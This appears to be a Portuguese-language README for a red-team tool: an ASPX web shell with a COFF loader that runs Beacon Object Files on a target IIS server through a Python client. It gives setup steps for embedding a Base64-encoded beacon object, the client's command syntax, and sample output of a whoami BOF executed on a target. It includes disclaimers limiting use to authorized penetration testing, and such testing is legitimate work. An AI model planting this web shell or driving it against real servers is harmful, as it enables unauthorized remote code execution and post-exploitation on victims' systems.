
Shell web ASPX com carregador COFF para executar Beacon Object Files (BOFs) em servidores alvo através de um cliente Python semi-interativo, projetado para testes de penetração autorizados.
Baseado no CS_COFFLoader da TrustedSec
Este ASPX web shell permite a execução de Beacon Object Files (BOFs) em um servidor alvo usando um cliente Python semi-interativo.
Ele utiliza uma implementação de carregador COFF derivada do CS_COFFLoader da TrustedSec.
Este projeto é destinado estritamente para pesquisa de segurança e testes de penetração autorizados. Ao usar este projeto, você concorda em cumprir todas as leis e regulamentos aplicáveis.
Antes de usar, você precisará:
Compilar beacon_compatibility.c de https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object e substituir o espaço reservado {{BEACON_DATA}} no arquivo ASPX pelo arquivo de objeto codificado em Base64.
Compilar seus BOFs, por exemplo, de https://github.com/trustedsec/CS-Situational-Awareness-BOF, e especificar o caminho para o diretório com os BOFs compilados no cliente web.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....